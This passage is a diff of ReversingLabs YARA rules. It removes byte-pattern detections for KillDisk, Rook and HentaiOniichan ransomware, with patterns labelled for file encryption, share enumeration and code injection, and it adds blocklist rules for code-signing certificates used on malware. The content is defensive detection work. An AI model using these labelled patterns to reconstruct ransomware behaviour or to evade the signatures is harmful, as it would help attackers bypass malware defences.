tc_detection_name = "KillDisk" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 8B AC 24 ?? ?? ?? - ?? 56 57 33 FF 8B F1 3B F7 89 7D ?? 89 7D ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 - FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 95 C0 84 C0 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8D - 4C 24 ?? 89 7C 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? B8 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 8B 5C 24 ?? 3B DF 8B 44 24 ?? 89 45 ?? 89 5D ?? 77 ?? 83 F8 ?? 0F 82 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 56 FF 15 - ?? ?? ?? ?? 8B E8 3B EF 0F 84 ?? ?? ?? ?? 83 FD ?? 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ?? - ?? 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 - 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 54 - 24 ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 4C 24 ?? 51 8D 54 24 ?? 89 7C 24 ?? 52 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 8B C6 05 ?? ?? ?? ?? 50 8B CB 83 D1 ?? 51 - 6A ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 - ?? ?? ?? ?? 8D 4C 24 ?? 51 53 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D B4 - 24 ?? ?? ?? ?? 8D 7C 24 ?? 8D 44 24 ?? F3 A5 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 08 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24 - ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 8D - 74 24 ?? 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 6A ?? 53 50 55 FF 15 - ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 8D 54 24 ?? 52 55 C7 44 24 ?? ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 8B F0 8B 44 24 ?? F7 DE 1B F6 83 E6 ?? 50 83 C6 ?? FF 15 ?? - ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 8B 44 24 ?? 50 BE ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB - ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8B C6 EB ?? BE ?? ?? ?? ?? 8B C6 EB ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E - 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $app_whitelisting_1 = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 32 DB FF 15 - ?? ?? ?? ?? 6A ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B E8 85 ED 89 6C 24 ?? 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? - 51 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 64 24 ?? - 8B 54 24 ?? 3B 54 24 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 85 C0 - 0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1 - 2B C3 C1 F8 ?? 3B C7 0F 86 ?? ?? ?? ?? 3B D9 8B F3 76 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? - ?? ?? 8B 0D ?? ?? ?? ?? 89 74 24 ?? 8D 34 BE 3B F1 B8 ?? ?? ?? ?? 8B E8 77 ?? 3B F3 - 73 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 3B 75 ?? 72 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? - ?? 8B 44 24 ?? 39 06 74 ?? B8 ?? ?? ?? ?? 83 C7 ?? E8 ?? ?? ?? ?? 3B F8 72 ?? 8B 6C - 24 ?? 8B 74 24 ?? FF 15 ?? ?? ?? ?? 3B F0 74 ?? 85 F6 74 ?? 56 6A ?? 6A ?? FF 15 ?? - ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? EB ?? 8B - 6C 24 ?? 8D 4C 24 ?? 51 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B3 ?? 55 FF 15 - ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 8A C3 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? - ?? ?? C3 - } - $app_whitelisting_2 = { - 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C4 50 8D 44 - 24 ?? 64 A3 ?? ?? ?? ?? 8D 44 24 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 70 ?? C7 44 - 24 ?? ?? ?? ?? ?? 56 C7 06 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 8B 36 EB - ?? 33 F6 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 72 ?? 8B 4C 24 - ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 64 89 0D - ?? ?? ?? ?? 59 5E 83 C4 ?? C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DIG IN VISION SP Z O O" and ( pe.signatures [ i ] . serial == "00:fc:70:65:ab:f8:30:3f:b4:72:b8:af:85:91:8f:5c:24" or pe.signatures [ i ] . serial == "fc:70:65:ab:f8:30:3f:b4:72:b8:af:85:91:8f:5c:24" ) and 1604361600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_698Ff388Adb50B88Afb832E76B0A0Ad1 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "8a6f4a15-08a5-5ca5-a743-55075726e744" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16120-L16136" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "b29bc69c8fd9543dba8f7d2a18d52b1bcbb8a8ae6f553d8b232ca74709b9addc" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and $encrypt_files and $app_whitelisting_1 and $app_whitelisting_2 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BELLAP LIMITED" and pe.signatures [ i ] . serial == "69:8f:f3:88:ad:b5:0b:88:af:b8:32:e7:6b:0a:0a:d1" and 1675070541 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Rook : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_391Ae38670Ab188A5De26E07 : INFO FILE { meta: - description = "Yara rule that detects Rook ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "60bbfd57-18bb-58b3-9abc-ab30943bbddd" - date = "2022-01-17" - modified = "2022-01-17" + id = "aca9ac98-1c3b-5231-b6e5-97e3b8fec6de" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Rook.yara#L1-L122" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16138-L16154" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dc8b37e55b634de52855dd851dbaaf3e690adfb2e875d0e0c9ef5f4846c6ff30" + logic_hash = "f7ccfadab650ae3b6f950c9d1b35f86aa4a4e6c05479c014ab18881a405678f0" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Rook" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 48 2B D6 48 8D 4C 24 ?? 48 FF C2 41 B8 ?? ?? ?? ?? F6 D8 4D 1B FF 4C 23 FA 33 D2 E8 - ?? ?? ?? ?? 45 33 C9 89 7C 24 ?? 4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CE FF 15 - ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CE E8 ?? ?? ?? - ?? 8B F8 48 83 FB ?? 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ?? - 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F - 5E 5D C3 49 8B 6E ?? 49 2B 2E 48 C1 FD ?? 80 7C 24 ?? ?? 75 ?? 8A 44 24 ?? 84 C0 74 - ?? 3C ?? 75 ?? 40 38 7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D6 E8 ?? - ?? ?? ?? 85 C0 75 ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06 - 49 8B 56 ?? 48 2B D0 48 C1 FA ?? 48 3B EA 0F 84 ?? ?? ?? ?? 48 2B D5 48 8D 0C E8 4C - 8D 0D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 - } - $encrypt_files_p1 = { - 40 55 53 56 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? 0F - B6 05 ?? ?? ?? ?? F2 0F 11 44 24 ?? 88 44 24 ?? E8 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? - ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 CE ?? 48 8D 4C 24 ?? 89 35 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 - ?? FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 - 0F 57 C9 F3 0F 7F 05 ?? ?? ?? ?? F3 0F 7F 0D ?? ?? ?? ?? F3 0F 7F 05 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 85 C0 48 89 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 0F 44 0D ?? ?? ?? - ?? 48 89 0D ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C0 48 8D 15 ?? ?? - ?? ?? 4C 63 C0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8D 15 ?? - ?? ?? ?? 48 89 05 ?? ?? ?? ?? 33 DB 48 8B 05 ?? ?? ?? ?? 45 33 C9 48 89 05 ?? ?? ?? - ?? 45 33 C0 48 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 - } - $encrypt_files_p2 = { - C1 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? C7 44 24 ?? ?? ?? - ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 - 8D 85 ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D - 25 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 45 33 C9 45 33 C0 4C 89 64 24 ?? 4C 89 BC 24 - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8D 2D ?? ?? ?? ?? 83 - F8 ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 89 5C 24 ?? - E8 ?? ?? ?? ?? 85 C0 78 ?? 4C 63 C8 4C 8D 85 ?? ?? ?? ?? 48 8D 44 24 ?? 4D 2B C1 48 - 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 89 64 24 ?? E8 ?? ?? ?? ?? - 49 8B CD FF 15 ?? ?? ?? ?? 44 8B C0 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ?? 41 F7 E8 C1 FA - ?? 8B CA C1 E9 ?? 03 D1 69 CA ?? ?? ?? ?? 44 3B C1 74 ?? FF C2 4C 8D 3D ?? ?? ?? ?? - 85 D2 0F 8E ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 49 8B DD 4C 89 B4 24 ?? ?? ?? ?? 49 - } - $encrypt_files_p3 = { - 8B FF 44 8B F2 0F 1F 00 48 8B 0D ?? ?? ?? ?? 8B 91 ?? ?? ?? ?? 85 D2 74 ?? 83 FA ?? - 75 ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7 - 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 - 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C7 ?? - ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 49 83 EE ?? 75 ?? 4C 8B B4 24 ?? ?? ?? ?? 33 DB 48 8B - BC 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 FF C6 41 80 3C 34 ?? 75 ?? 48 8B 8D ?? ?? ?? - ?? 48 8D 15 ?? ?? ?? ?? 89 74 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 4C 89 64 24 ?? FF 15 - ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 45 33 C0 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? EB ?? 48 8B 8D ?? ?? ?? ?? 48 - 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 3D ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 45 33 - C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 49 8B CC FF - 15 ?? ?? ?? ?? 49 8B D4 48 8D 0D ?? ?? ?? ?? FF C0 4C 63 C0 E8 ?? ?? ?? ?? 48 8B 05 - ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? - ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? 48 85 C0 74 ?? 48 8B 0D ?? ?? - ?? ?? FF 50 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 33 D2 44 8D 42 ?? FF D0 48 - 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 63 85 ?? ?? ?? ?? 48 3D ?? - ?? ?? ?? 73 ?? 0F 1F 00 48 63 85 ?? ?? ?? ?? 42 C6 04 28 ?? FF 85 ?? ?? ?? ?? 48 63 - 85 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 72 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? - 5E 5B 5D C3 - } - $enum_procs = { - 40 56 48 81 EC ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 48 8B C8 48 8B F0 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 89 9C - 24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? - 0F 1F 40 ?? 0F 1F 84 00 ?? ?? ?? ?? 33 DB 48 8B FD 66 66 66 0F 1F 84 00 ?? ?? 00 00 - 48 8B 0F 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF C3 48 83 C7 ?? 83 FB ?? 72 - ?? EB ?? 44 8B 44 24 ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? BA - ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 - 8B CE FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? - 48 8B 9C 24 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5E C3 - } - $enum_shares = { - 48 83 EC ?? 33 D2 C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C - 8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 48 89 5C 24 ?? 8B 5C 24 ?? 48 89 7C 24 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 0D ?? - ?? ?? ?? 4C 8D 43 ?? BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 48 8B - 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 66 0F - 1F 44 00 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ?? - 48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ?? 48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B - 5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C7 48 8D 54 24 ?? FF 15 ?? ?? ?? - ?? 85 C0 74 ?? 48 8B 0D ?? ?? ?? ?? 4C 8B C7 33 D2 FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? - FF 15 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 5C 24 ?? 48 83 C4 ?? C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "39:1a:e3:86:70:ab:18:8a:5d:e2:6e:07" and 1540832872 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_D08D83Ff118Df3777E371C5C482Cce7B : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "5acd2e61-1c04-5cc5-8773-25856fc163c4" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16156-L16174" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "5fdaf01c6a23057ab976e3ad2a8b40558b16693161410b0f30d7b884de7e3985" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $enum_shares ) and ( $enum_procs ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMO-K Limited Liability Company" and ( pe.signatures [ i ] . serial == "00:d0:8d:83:ff:11:8d:f3:77:7e:37:1c:5c:48:2c:ce:7b" or pe.signatures [ i ] . serial == "d0:8d:83:ff:11:8d:f3:77:7e:37:1c:5c:48:2c:ce:7b" ) and 1444780800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Hentaioniichan : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_06Ce209477F1Ac19A2049Bdc5846A831 : INFO FILE { meta: - description = "Yara rule that detects Hentai Oniichan ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cd5e916f-7195-5bb6-abff-b08231053f9a" - date = "2021-03-05" - modified = "2021-03-05" + id = "21c16e2c-bc0c-5e1d-bc44-6d7c4afc34cb" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HentaiOniichan.yara#L1-L140" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16176-L16192" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "153526e5a2f05bc8e3f77d83eefce6b4cd962ea093b6f1c0ab8fcabe8d8a7ad9" + logic_hash = "24474c4033a8cad1690160da64b75a1eec570f56e830967256c19574bde59384" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HentaiOniichan" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 - 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? - 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? - ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? - ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B - CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? - 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 - } - $find_files_p2 = { - 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 - ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? - 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? - ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? - ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? - 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? - ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? - 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $inject_code_into_process = { - 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 8B C6 8D 8D - ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83 - C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ?? ?? - ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 15 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? - 74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 